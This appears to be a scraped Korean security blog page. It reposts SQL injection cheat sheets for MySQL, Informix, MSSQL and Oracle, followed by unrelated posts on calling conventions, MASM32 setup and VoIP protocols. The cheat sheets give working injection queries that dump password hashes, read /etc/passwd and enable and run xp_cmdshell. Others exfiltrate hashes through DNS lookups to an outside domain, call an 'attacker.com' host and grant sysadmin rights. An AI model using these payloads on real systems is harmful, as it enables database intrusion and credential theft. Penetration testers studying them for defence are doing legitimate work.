Version SELECT @@version
Comments SELECT 1; #comment
SELECT /*comment*/1;
Current User SELECT user();
SELECT system_user();
List Users SELECT user FROM mysql.user; — priv
List Password Hashes SELECT host, user, password FROM mysql.user; — priv
Password Cracker John the Ripper will crack MySQL password hashes.
List Privileges SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
List DBA Accounts SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
Current Database SELECT database()
List Databases SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
  SELECT distinct(db) FROM mysql.db — priv
List Columns SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
Select Nth Row SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
  SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char SELECT substr(‘abcd’, 3, 1); # returns c
Bitwise AND SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0
ASCII Value -> Char SELECT char(65); # returns A
Char -> ASCII Value SELECT ascii(‘A’); # returns 65
Casting SELECT cast(’1′ AS unsigned integer);
SELECT cast(’123′ AS char);
String Concatenation SELECT CONCAT(‘A’,'B’); #returns AB
SELECT CONCAT(‘A’,'B’,'C’); # returns ABC
If Statement SELECT if(1=1,’foo’,'bar’); — returns ‘foo’
Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
Avoiding Quotes SELECT 0×414243; # returns ABC
Time Delay SELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests Impossible?
Command Execution If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
  SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
Hostname, IP Address SELECT @@hostname;
Create Users CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Delete Users DROP USER test1; — priv
Make User DBA GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv
Location of DB files SELECT @@datadir;
Default/System  information_schema (>= mysql 5.0)
Databases mysql


'Security > DB' 카테고리의 다른 글

Informix SQL Injection Cheat Sheet  (0) 2015.02.27
MSSQL SQL injection cheat sheet  (0) 2014.11.18
Oracle SQL Injection Cheat Sheet  (0) 2014.11.14

Informix SQL Injection Cheat Sheet

Version SELECT DBINFO(‘version’, ‘full’) FROM systables WHERE tabid = 1;
SELECT DBINFO(‘version’, ‘server-type’) FROM systables WHERE tabid = 1;
SELECT DBINFO(‘version’, ‘major’), DBINFO(‘version’, ‘minor’), DBINFO(‘version’, ‘level’) FROM systables WHERE tabid = 1;
SELECT DBINFO(‘version’, ‘os’) FROM systables WHERE tabid = 1; — T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app running on 64-bit Unix, F=64-bit app running on 64-bit unix
Comments select 1 FROM systables WHERE tabid = 1; — comment
Current User SELECT USER FROM systables WHERE tabid = 1;
select CURRENT_ROLE FROM systables WHERE tabid = 1;
List Users select username, usertype, password from sysusers;
List Password Hashes TODO
List Privileges select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; — which tables are accessible by which users
select procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid; — which procedures are accessible by which users
List DBA Accounts TODO
Current Database SELECT DBSERVERNAME FROM systables where tabid = 1; — server name
List Databases select name, owner from sysdatabases;
List Columns select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid;
List Tables select tabname, owner FROM systables;
select tabname, viewtext FROM sysviews  join systables on systables.tabid = sysviews.tabid;
List Stored Procedures select procname, owner FROM sysprocedures;
Find Tables From Column Name select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like ‘%pass%’;
Select Nth Row select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; — selects the 10th row
Select Nth Char SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1; — returns ‘C’
Bitwise AND select bitand(6, 1) from systables where tabid = 1; — returns 0
select bitand(6, 2) from systables where tabid = 1; — returns 2
ASCII Value -> Char TODO
Char -> ASCII Value select ascii(‘A’) from systables where tabid = 1;
Casting select cast(’123′ as integer) from systables where tabid = 1;
select cast(1 as char) from systables where tabid = 1;
String Concatenation SELECT ‘A’ || ‘B’ FROM systables where tabid = 1; — returns ‘AB’
SELECT concat(‘A’, ‘B’) FROM systables where tabid = 1; — returns ‘AB’
String Length SELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables;
If Statement TODO
Case Statement select tabid, case when tabid>10 then “High” else ‘Low’ end from systables;
Avoiding Quotes TODO
Time Delay TODO
Make DNS Requests TODO
Command Execution TODO
Local File Access TODO
Hostname, IP Address SELECT DBINFO(‘dbhostname’) FROM systables WHERE tabid = 1; — hostname
Location of DB files TODO
Default/System Databases These are the system databases:
sysmaster
sysadmin*
sysuser*
sysutils*

'Security > DB' 카테고리의 다른 글

MySQL SQL Injection Cheat Sheet  (0) 2015.04.14
MSSQL SQL injection cheat sheet  (0) 2014.11.18
Oracle SQL Injection Cheat Sheet  (0) 2014.11.14

Version SELECT @@version
Comments SELECT 1 — comment
SELECT /*comment*/1
Current User SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
List Users SELECT name FROM master..syslogins
List Password Hashes SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000.  Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005
 Password Cracker MSSQL 2000 and 2005 Hashes are both SHA1-based.  phrasen|drescher can crack these.
List Privileges – current privs on a particular object in 2005, 2008
SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’); — current database
SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’); — current server
SELECT permission_name FROM master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); –permissions on a table
SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);

 

–permissions on a user– current privs in 2005, 2008
SELECT is_srvrolemember(‘sysadmin’);
SELECT is_srvrolemember(‘dbcreator’);
SELECT is_srvrolemember(‘bulkadmin’);
SELECT is_srvrolemember(‘diskadmin’);
SELECT is_srvrolemember(‘processadmin’);
SELECT is_srvrolemember(‘serveradmin’);
SELECT is_srvrolemember(‘setupadmin’);
SELECT is_srvrolemember(‘securityadmin’);

– who has a particular priv? 2005, 2008
SELECT name FROM master..syslogins WHERE denylogin = 0;
SELECT name FROM master..syslogins WHERE hasaccess = 1;
SELECT name FROM master..syslogins WHERE isntname = 0;
SELECT name FROM master..syslogins WHERE isntgroup = 0;
SELECT name FROM master..syslogins WHERE sysadmin = 1;
SELECT name FROM master..syslogins WHERE securityadmin = 1;
SELECT name FROM master..syslogins WHERE serveradmin = 1;
SELECT name FROM master..syslogins WHERE setupadmin = 1;
SELECT name FROM master..syslogins WHERE processadmin = 1;
SELECT name FROM master..syslogins WHERE diskadmin = 1;
SELECT name FROM master..syslogins WHERE dbcreator = 1;
SELECT name FROM master..syslogins WHERE bulkadmin = 1;

List DBA Accounts SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin?  returns 1 for true, 0 for false, NULL for invalid role.  Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation
SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005
Current Database SELECT DB_NAME()
List Databases SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
List Columns SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
List Tables SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
Find Tables From Column Name – NB: This example works only for the current database.  If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’
Select Nth Row SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row
Select Nth Char SELECT substring(‘abcd’, 3, 1) — returns c
Bitwise AND SELECT 6 & 2 — returns 2
SELECT 6 & 1 — returns 0
ASCII Value -> Char SELECT char(0×41) — returns A
Char -> ASCII Value SELECT ascii(‘A’) – returns 65
Casting SELECT CAST(’1′ as int);
SELECT CAST(1 as char)
String Concatenation SELECT ‘A’ + ‘B’ – returns AB
If Statement IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
Avoiding Quotes SELECT char(65)+char(66) — returns AB
Time Delay  WAITFOR DELAY ’0:0:5′ — pause for 5 seconds
Make DNS Requests declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ + @host + ‘c$boot.ini”’); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host.  Messy but necessary.
– Also check out theDNS tunnel feature of sqlninja
Command Execution EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:
EXEC sp_configure ‘show advanced options’, 1; — priv
RECONFIGURE; — priv
EXEC sp_configure ‘xp_cmdshell’, 1; — priv
RECONFIGURE; — priv
Local File Access CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM ‘c:boot.ini’;
DROP TABLE mydata;
Hostname, IP Address SELECT HOST_NAME()
Create Users EXEC sp_addlogin ‘user’, ‘pass’; — priv
Drop Users EXEC sp_droplogin ‘user’; — priv
Make User DBA EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv
Location of DB files EXEC sp_helpdb master; –location of master.mdf
EXEC sp_helpdb pubs; –location of pubs.mdf
Default/System Databases northwind
model
msdb
pubs — not on sql server 2005
tempdb

 

* 출처 : http://nopsled.tistory.com/entry/MSSQL-SQL-injection-cheat-sheet

'Security > DB' 카테고리의 다른 글

MySQL SQL Injection Cheat Sheet  (0) 2015.04.14
Informix SQL Injection Cheat Sheet  (0) 2015.02.27
Oracle SQL Injection Cheat Sheet  (0) 2014.11.14

Oracle SQL Injection Cheat Sheet

Version SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
SELECT version FROM v$instance;
Comments SELECT 1 FROM dual — comment
– NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.
Current User SELECT user FROM dual
List Users SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; — priv
List Password Hashes SELECT name, password, astatus FROM sys.user$ — priv, <= 10g.  astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ — priv, 11g
 Password Cracker checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
List Privileges SELECT * FROM session_privs; — current privs
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
List DBA Accounts SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles
Current Database SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
List Databases SELECT DISTINCT owner FROM all_tables; — list schemas (one per user)
– Also query TNS listener for other databases.  See tnscmd (services | status).
List Columns SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
List Tables SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
Find Tables From Column Name SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case
Select Nth Row SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)
Select Nth Char SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’
Bitwise AND SELECT bitand(6,2) FROM dual; — returns 2
SELECT bitand(6,1) FROM dual; — returns0
ASCII Value -> Char SELECT chr(65) FROM dual; — returns A
Char -> ASCII Value SELECT ascii(‘A’) FROM dual; — returns 65
Casting SELECT CAST(1 AS char) FROM dual;
SELECT CAST(’1′ AS int) FROM dual;
String Concatenation SELECT ‘A’ || ‘B’ FROM dual; — returns AB
If Statement BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements
Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2
Avoiding Quotes SELECT chr(65) || chr(66) FROM dual; — returns AB
Time Delay BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow
SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow
– Also see Heavy Queries to create a time delay
Make DNS Requests SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
Command Execution Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. :-(
Local File Access UTL_FILE can sometimes be used.  Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express).
Hostname, IP Address SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames
Location of DB files SELECT name FROM V$DATAFILE;
Default/System Databases SYSTEM
SYSAUX

'Security > DB' 카테고리의 다른 글

MySQL SQL Injection Cheat Sheet  (0) 2015.04.14
Informix SQL Injection Cheat Sheet  (0) 2015.02.27
MSSQL SQL injection cheat sheet  (0) 2014.11.18

__cdecl과 __stdcall의 차이점

__cdecl과 __stdcall의 가장 큰 차이점은 스택 정리 주체가 누구인가하는 점인데 사실 이 차이점이 컴파일된 결과 코드에 미치는 영향은 별로 없다. 스택 정리 주체와는 상관없이 스택은 항상 호출 전의 상태로 복구되며 프로그램의 동작도 완전히 동일하다. 실행 속도는 거의 차이가 없으며 프로그램의 크기는 비록 무시할만한 수준이기는 하지만 __stdcall이 조금 더 작다. 왜냐하면 함수를 여러 번 호출하더라도 스택을 정리하는 코드는 함수 끝의 접미에 딱 한 번만 작성되기 때문이다. 반면 __cdecl은 호출원이 스택을 정리하므로 호출할 때마다 정리 코드가 반복되어 프로그램 크기가 조금 더 커진다.



또 다른 중요한 차이점은 가변 인수 함수를 만들 수 있는가 아닌가 하는 점이다
. __stdcall은 함수가 직접 스택을 정리하기 때문에 가변 인수 함수를 지원하지 않는다. 함수 접미에 스택 정리 코드를 작성하려면 인수의 총 크기를 미리 알아야 하는데 가변 인수 함수는 전달되는 인수 개수가 가변이므로 이 크기가 고정적이지 않아 접미에서 스택을 직접 정리할 수 없다. 컴파일러가 접미의 ret n 명령에 대해 n을 결정할 수 없는 것이다.

이에 비해
__cdecl은 함수가 스택을 정리할 책임이 없으며 호출원이 함수를 부를 때마다 스택을 정리한다. 함수를 호출하는 쪽에서는 인수를 몇개나 전달했는지 알 수 있으므로 실제 전달한 인수 크기만큼 스택을 정리할 수 있다. 그래서 printf나 scanf같은 가변 인수를 지원하는 함수는 모두 __cdecl 호출 규약을 사용한다. 또한 윈도우즈 API 함수의 기본 호출 규약은 __stdcall이지만 wsprintf는 예외적으로 __cdecl로 작성되어 있다.

호출 규약 중 호출원이 스택을 정리하는 것은 __cdecl밖에 없으며 그래서 가변 인수를 지원할 수 있는 호출 규약도 __cdecl이 유일하다. 가변 인수 함수를 만들려면 반드시 __cdecl 호출 규약을 사용해야 한다. 만약 가변 인수 함수를 __stdcall로 작성하면 컴파일러는 이를 무시하고 __cdecl로 강제로 바꾸어 버린다.

출처 : winapi.co.kr 

'Security > Reverse Engineering' 카테고리의 다른 글

[Reversing] MASM32 Install and *.asm files compile  (0) 2011.01.19
[Revsering] ASCII Code List  (0) 2010.10.17
[Reversing] IDA pro 단축키  (0) 2010.09.02
[Reversing] Segment, Offset  (0) 2010.07.02
[Reversing] Ollydbg 단축키  (0) 2010.07.02

[MASM32 install]

http://www.masm32.com
홈페이지에서 masm32 다운로드 받고 설치한다.

설치 후 masm32\bin, masm32\lib 를 환경변수에 등록해 준다.

 
[*.asm파일 컴파일 하기]

Compile :
cmd창을 오픈
c:\masm32\bin\ml.exe /c /coff /Zi  파일명.asm

ml명령어가 실행되고 나면 .obj파일이 생성된다.

Linking :
c:\masm32\bin\link.exe /subsystem:windows  파일명.obj

'Security > Reverse Engineering' 카테고리의 다른 글

[Reversing] __cdecl과 __stdcall의 차이점  (0) 2011.01.20
[Revsering] ASCII Code List  (0) 2010.10.17
[Reversing] IDA pro 단축키  (0) 2010.09.02
[Reversing] Segment, Offset  (0) 2010.07.02
[Reversing] Ollydbg 단축키  (0) 2010.07.02

용어

설명

MGCP
(media gateway
control protocol)
MG
ßàMGC

인터넷 전화에서 전화망과 IP망을 접속하는 VoIP 게이트웨이 기능을 IP 네트워크 상에서 제어하기 위한 프로토콜. 공통선 신호망과 IP망을 접속하는 No.7 신호 방식 게이트웨이와 같은 전화국 호 담당자(call agent) VoIP 게이트웨이와 같은 미디어 게이트웨이 사이에 주고받는 것을 규정한다. 공통선 신호망으로부터 호 설정 신호 등을 수신한 전화국 호 담당자가 MGCP에 의해서 미디어 게이트웨이의 교환 기능 등을 제어한다.

MGCP H.248 또는 Megaco라고도 알려져 있으며, 멀티미디어 회의 진행 중에 필요한 신호 운용 및 세션 관리를 위한 표준 프로토콜이다. 이 프로토콜은 회선 교환망에 필요한 데이터 형식을 패킷 교환망에 필요한 데이터 형식으로 변환시켜 주는 미디어 게이트웨이와 미디어 게이트웨이 제어장치 사이의 통신 방법을 정의한다. MGCP는 다중 종단 간의 호를 설정, 관리하거나 종결시키는데 사용될 수 있다. Megaco H.248 MGCP를 강화한 버전을 가리킨다.

이 표준은 IETF에 의해서는 Megaco (RFC 3015)라는 이름으로, 그리고 ITU-T의 통신 표준화 부문에 의해서는 H.248이라는 이름으로 추천되었다. 이전의 ITU-T 프로토콜이었던 H.323은 근거리통신망용으로 사용되었으나 대규모 공중 네트웍용으로 확장할 수 있는 능력을 가지고 있지 못했다. MCGP Megaco/H.248 모델은 게이트웨이로부터 신호 제어를 제거하고, 그 기능을 미디어 게이트웨이 제어기에 집어넣어 여러 대의 게이트웨이를 제어할 수 있게 하였다.

MGCP IPDC (Internet protocol device control) SGCP (simple gateway control protocol) 등 두 개의 다른 프로토콜로부터 만들어졌다. RFC 2705에 정의되어 있는 MGCP는 미디어 게이트웨이 제어기가 마스터 역할을 하는 마스터-슬레이브 모델의 응용 계층에서 프로토콜을 정의한다. MGCP는 제어기가 각 통신 종점의 위치와 미디어 역량을 결정함으로써 모든 참가자들을 위한 서비스 레벨을 선택할 수 있게 해준다. MGCP의 후속 버전인 Megaco/H.248은 다중 게이트웨이는 물론, 게이트웨이 당 더 많은 포트 수와 TDM ATM 통신을 지원한다.

SIP
(session initiation
protocol)
접속 설정 프로토콜    IETF 주로 소프트스위치간 사용

SIP는 매우 간단한 텍스트 기반의 응용계층 제어 프로토콜로서, 하나 이상의 참가자들이 함께 세션을 만들고, 수정하고 종료할 수 있게 한다. 이러한 세션들에는 인터넷을 이용한 원격회의, 전화, 면회, 이벤트 통지, 인스턴트 메시징 등이 포함된다. SIP는 하위에 있는 패킷 프로토콜 (TCP, UDP, ATM, X.25)에 독립적이다.

SIP는 텍스트 기반의 SMTP HTTP 이후에 설계되었다. SIP는 클라이언트들이 호출을 시작하면 서버가 그 호출에 응답을 하는 클라이언트/서버 구조에 기반을 두고 있다. SIP는 이러한 기존의 텍스트 기반 인터넷 표준들에 따름으로써, 고장 수리와 네트웍 디버깅 등이 쉽다.

SIP의 주요 특징들은 다음과 같다.

•인터넷 멀티미디어 회의, 인터넷 전화, 멀티미디어 배포 등을 지원

•멀티캐스트, 또는 망사형 유니캐스트 관계들을 통한 통신교섭을 허용

•프록시와 리다이렉트 등을 통해 "사용자 이동성"을 지원

•하위계층 프로토콜에 독립적

•특정 응용프로그램으로 확장이 가능

SIP IETF MMUSIC (Multiparty Multimedia Session Control) 작업그룹에서 개발되었다. SIP RFC 2543에 설명되어 있다.

Bearer Independent
Call Control
BICC [
통신망]

광대역 백본망에서 네트워크와 단말 서비스에 종합 정보 통신망(ISDN) 서비스를 지원하는데 사용되는 신호 프로토콜. 음성이나 멀티미디어 데이터를 지원하는 베어러의 정보를 전달하는 역할을 수행한다. 공중 전화망이나 지능망에서 통화 신호 및 음성 데이터를 패킷 기반의 통신망으로 전달하는 역할도 수행하므로 차세대 네트워크를 구축하는데 사용되는 소프트 스위치간 연동에도 사용된다. BICC는 기존의 공중회선 교환망을 이루고 있는 SS7 신호 프로토콜을 기반으로 확장했기 때문에 기존의 전화망을 차세대 백본의 새로운 서비스에 적용하기 쉽다. 또 고속의 차세대 패킷 기반망과의 연동을 손쉽게 실현하는 것이 가능하기 때문에 기존 망으로부터 차세대 망으로의 진화를 가능하게 해주고 기존 프로토콜을 확장해 망에 적용할 수 있는 장점이 있다. ITU-T Q.1901에서 비동기 전송 방식(ATM) 백본에 적용하기 위한 CS1(Capability Set 1)을 규정하고 있으며 ITU-T Q.1902 시리즈에서 CS2를 규정하고 있다.

SIGTRAN Signaling
Transport
[
통신망
]
SG
ßà MGC

종합 정보 통신망(ISDN), SS7, IPv6와 같은 신호 전송을 위한 인터넷 프로토콜 기반의 통신망 프로토콜. IP 망을 통해 신호를 전송하는 프로토콜인 SCTP(Stream Control Transmission Protocol) SCTP를 이용하여 MTP(Message Transfer Part) 레벨3 사용자의 No.7 메시지를 전달하는 M3UA(MTP3 User Adaptation), SUA(SCTP User Adaptation) 등으로 구성되어 있다. 소프트스위치, MGC(Media Gateway Controller), SG(Signaling Gateway), 미디어 게이트웨이 등에서 VoIP 응용 프로그램용으로 사용된다.

gatekeeper

gatekeeper H.323를 이용한 화상회의에서 사용자의 이름을 물리적인 주소로 바꾸어주는 서버이다. 이것은 호출 허가나 계정 정보를 제공하는데 사용되기도 한다.

PBX
(private branch
exchange)
사설교환기

PBX는 회사에서 사용되는 일정수의 외부전화회선을 모든 직원이 공유하고, 내선에 연결되어 있는 내부사용자들간에 전화를 자동으로 연결해주기 위한 전화교환 시스템이다. PBX를 사용하는 주목적은 회사의 모든 종업원들에게 일일이 일반 전화회선을 배정할 경우 들어가게 될 비용을 절감하는 것이다. PBX는 전화회사가 아닌 일반 기업체의 소유로서 자체 책임 하에 운영된다. PBX에는 원래 아날로그 기술이 사용되었으나 요즘은 모두 디지털 기술이 적용된다. PBX는 다음의 것들을 포함한다.

PBX에 종단 처리되는 전화 트렁크 회선들

PBX 내외부의 호를 교환하고 관리하는데 사용되는 컴퓨터(자체 메모리 필요)

PBX 내의 회선 네트웍

•교환원을 위한 콘솔이나 스위치보드

적은 회사의 경우에는 PBX 대신에 PRI급의 ISDN을 이용한 키폰이 대안으로 사용되기도 한다. PBX 제작업체로서 잘 알려진 회사들로는 삼성전자, LG정보통신 등이 있으며, 외국업체로는 Lucent Technologies, Northern Telecom (NORTEL), Rolm/Siemens, NEC, GTE, Intecom, Fujitsu, Hitachi, Mitel 등이 있다.

trunk ; 트렁크

전화시스템에서 트렁크는 두 개의 전화교환시스템 간에 설치되어있는 대용량 전화 채널을 의미하는 것으로, 대역폭이 넓어서 음성과 데이터 신호를 동시에 처리할 수 있다. 설사 회선이나, 트렁크, 회로 등이 때로는 비슷한말로 사용된다 할지라도, 실제로 사용자 터미널이나 PC로부터 네트웍에 이르는 회로는 트렁크라고 부르는 대신에, 좀더 적절한 표현으로서 '회선'이라고 부른다. 또한, 디지털 통신에서의 트렁크란 보통 T-1 회선 등 고속회선을 의미하는 경우도 있다.

RTP
(real-time transport protocol)
실시간 전송 프로토콜

RTP는 오디오와 비디오와 같은 실시간 데이터를 전송하기 위한 인터넷 프로토콜이다. RTP 그 자체가 데이터의 실시간 전송을 보장하지는 않지만, 송수신 응용프로그램들이 스트리밍 데이터를 지원하기 위한 장치를 제공한다. RTP는 일반적으로, UDP 프로토콜 상에서 실행된다.

RTP는 산업계의 광범위한 지지를 받고 있다. 넷스케이프는 자사의 LiveMedia 기술에 대한 기반을 RTP에 두고 있고, 마이크로소프트도 자사의 제품인 NetMeeting RTP를 지원한다고 주장하고 있다.

SoftSwitch

각 네트워크의 미디어 게이트웨이와 시그널링 게이트웨이를 제어하며 각 호에 대한 서비스를 제공하고 전체 네트워크 관리를 수행

S/W기반의 새로운 스위칭 기술로 호 로직과 액세스를 분리함으로써 서비스 제공업자로 하여금 기존의 방대한 음성 트래픽을 패킷 기반 음성 망으로 제공할 수 있도록 해준다. PSTN에서 제공하던 음성서비스를 패킷망에서도 그대로 제공하기 위해, PSTN과 연동이 가능하도록 다양한 요구를 만족시키면서 패킷망에서 음성서비스를 가능하게 하는 H.323, SIP, BICC, MGCP, MEGACO/H.248 프로토콜 등을 동시에 수용한다.

망 음성 트래픽을 위한 호 제어와 라우팅 기능을 제공하며 서로 다른 망 간의 인터워킹을 위한 게이트웨이 시스템에 표준 인터페이스를 적용하여 제어기능을 분리한 일종의 게이트웨이 제어 시스템으로, 표준화 기구나 생산업체에 따라 미디어 게이트웨이 제어기, 호 서버, 호 에이전트 등으로 혼용되어 불린다.

H.323

ITU가 승인한 프로토콜로 기존 장비가 거의 모두 이 프로토콜을 지원하고 있다. 점차 지고 있는 프로토콜임은 확실하지만, 기존 영역을 지원하는 부분이 커 무시할 수 없다.
원래 ISDN 기반 프로토콜이었던 H.323은 음성/비디오/멀티미디어 서비스가 네트워크를 통해 운영될 수 있다는 것을 보여주지만, LAN과 인터넷과 같은 QoS를 보증하지는 않는다. 주로 LAN을 통한 멀티미디어 통신을 위한 터미널, 장비, 서비스 등을 규정하며, 압축, 콜 컨트롤, IP 패킷의 암호화 등도 포함된다
.
H.323
표준에 근거한 VoIP 서비스는 음성 통화의 에코 제거, 연결중의 QoS 보장을 위한 음성의 활동/휴지중의 잡음탐지 등의 특징을 갖는다. 따라서 음성 트래픽이 대역폭이 낮은 네트워크나 인터넷을 통해 전달될 때 가장 적합하게 활용될 수 있다. 단점은 전통적인 전화의 특징을 보완하기 위해 복잡하고 독점적인 구조를 가진다는 점이다.

SIP

(Session Initiation Protocol)

